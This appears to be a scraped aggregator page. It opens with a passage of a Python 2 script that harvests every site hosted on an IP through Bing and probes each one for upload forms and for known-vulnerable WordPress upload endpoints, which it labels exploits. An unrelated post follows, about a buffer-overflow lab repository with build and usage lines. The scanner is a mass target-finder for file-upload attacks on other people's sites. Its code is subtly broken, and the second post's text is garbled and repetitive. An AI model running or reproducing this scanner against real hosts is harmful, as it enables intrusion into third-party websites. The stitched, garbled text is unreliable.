    GREEN = ''
    YELLOW = ''
    RED = ''
    BOLD = ''
    ENDC = ''
def grabsqli(ip):
    try :
        print bcolors.OKBLUE  + "Check_Uplaod... "
        print '\n'

        page = 1
        while page <= 21:
                bing = "http://www.bing.com/search?q=ip%3A"+ip+"+upload&count=50&first="+str(page)
                openbing  = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"' , readbing)
                sites = findwebs
                for i in sites :
                            try :
                                      response = urllib2.urlopen(i).read()                                   
                                      checksqli(i)  
                            except urllib2.HTTPError, e:
                                       str(sites).strip(i)
                                   
                page = page + 10 
    except : 
         pass 
def checksqli(sqli):
                            responsetwo = urllib2.urlopen(sqli).read()
                            find = re.findall('type="file"',responsetwo)
                            if find:
                                            print(" Found ==> " + sqli)
def sqlscan():                                           
    ip = raw_input('Enter IP : ')
    grabsqli(ip)
# found this code on stackoverflow.com/questions/19278877
def unique(seq):
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
    lista = []
    page = 1
    while page <= 101:
        try:
            bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                allnoclean = findwebs[i]
                findall1 = re.findall('http://(.*?)/', allnoclean)
                for idx, item in enumerate(findall1):
                    if 'www' not in item:
                        findall1[idx] = 'http://www.' + item + '/'
                    else:
                        findall1[idx] = 'http://' + item + '/'
                lista.extend(findall1)

            page += 50
        except urllib2.URLError:
            pass

    final = unique(lista)
    return final
def check_wordpress(sites) :
    wp = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-login.php').getcode() == 200 :
                wp.append(site)
        except :
            pass

    return wp
def check_wpstorethemeremotefileupload(sites) :
    wpstorethemeremotefileupload = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/themes/WPStore/upload/index.php').getcode() == 200 :
                wpstorethemeremotefileupload.append(site)
        except :
            pass

    return wpstorethemeremotefileupload
def check_wpcontactcreativeform(sites) :
    wpcontactcreativeform = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/plugins/sexy-contact-form/includes/fileupload/index.php').getcode() == 200 :
                wpcontactcreativeform.append(site)
        except :
            pass

    return wpcontactcreativeform
def check_wplazyseoplugin(sites) :
    wplazyseoplugin = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/plugins/lazy-seo/lazyseo.php').getcode() == 200 :
                wplazyseoplugin.append(site)
        except :
            pass

    return wplazyseoplugin
def check_wpeasyupload(sites) :
    wpeasyupload = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-content/plugins/easy-comment-uploads/upload-form.php').getcode() == 200 :
                wpeasyupload.append(site)
        except :
            pass

    return wpeasyupload
def check_wpsymposium(sites) :
    wpsymposium = []
    for site in sites :
        try :
            if urllib2.urlopen(site+'wp-symposium/server/file_upload_form.php').getcode() == 200 :
                wpsycmium.append(site)
        except :
            pass

    return wpsymposium
def wpminiscanner():
    ip = raw_input('Enter IP : ')
    sites = bing_all_grabber(str(ip))
    wordpress = check_wordpress(sites)
    wpstorethemeremotefileupload = check_wpstorethemeremotefileupload(sites)
    wpcontactcreativeform = check_wpcontactcreativeform(sites)
    wplazyseoplugin = check_wplazyseoplugin(sites)
    wpeasyupload = check_wpeasyupload(sites)
    wpsymposium = check_wpsymposium(sites)
    for ss in wordpress :
        print ss
    print '[*] Found, ', len(wordpress), ' wordpress sites.'
    print '-'*30+'\n'
    for ss in wpstorethemeremotefileupload  :
        print ss
    print '[*] Found, ', len(wpstorethemeremotefileupload), ' wp_storethemeremotefileupload exploit.'
    print '-'*30+'\n'
    for ss in wpcontactcreativeform  :
        print ss
    print '[*] Found, ', len(wpcontactcreativeform), ' wp_contactcreativeform exploit.'
    print '-'*30+'\n'
    for ss in wplazyseoplugin  :
        print ss
    print '[*] Found, ', len(wplazyseoplugin), ' wp_lazyseoplugin exploit.'
    print '-'*30+'\n'
    for ss in wpeasyupload  :
        print ss
    print '[*] Found, ', len(wpeasyupload), ' wp_easyupload exploit.'
    print '-'*30+'\n'
    for ss in wpsymposium :
        print ss


    print '[*] Found, ', len(wpsymposium), ' wp_sympsiup exploit.'

    print '\n'
############################
#begin :D 
if __name__ == "__main__":
  menu()

Source: https://github.com/x3omdax | Our Post Before

BufferAttack is an Various Methods of Buffer Attacks.

$
0
0

BufferAttack is an Various Methods of Buffer Attacks, plus implementation of preventive technique using sandboxing.

Trigger Debug with command objdump -d ./trigger

Trigger Debug with command
objdump -d ./trigger

Now you can see it; if arg=1 and argv=0x0..... at trigger c+4 it can hack hello, helooa, heloob until hellod

Now you can see it; if arg=1 and argv=0xb….. at trigger c+4 it can hack hello, helloa, hellob until hellod

File lists:
– hello
– hello.c
– hello3.c
– helloc.dis
– helloe.dis
– readString.c
– sandbox.c
– genpage.c

All file after compillation

All file after compillation

Usage:

git clone https://github.com/sid5788/BufferAttack && cd BufferAttack
make 

./trigger 
<e> for segfault.
<d> for grade D.
<c> for grade C.
<b> for grade B.
<a> for grade A.
./genpage
use: genpage <id> <n>
where <id> is a unique ID and <n> is the number of nop instations to generate

Source : https://github.com/sid5788

Viewing all 514 articles
Browse latest View live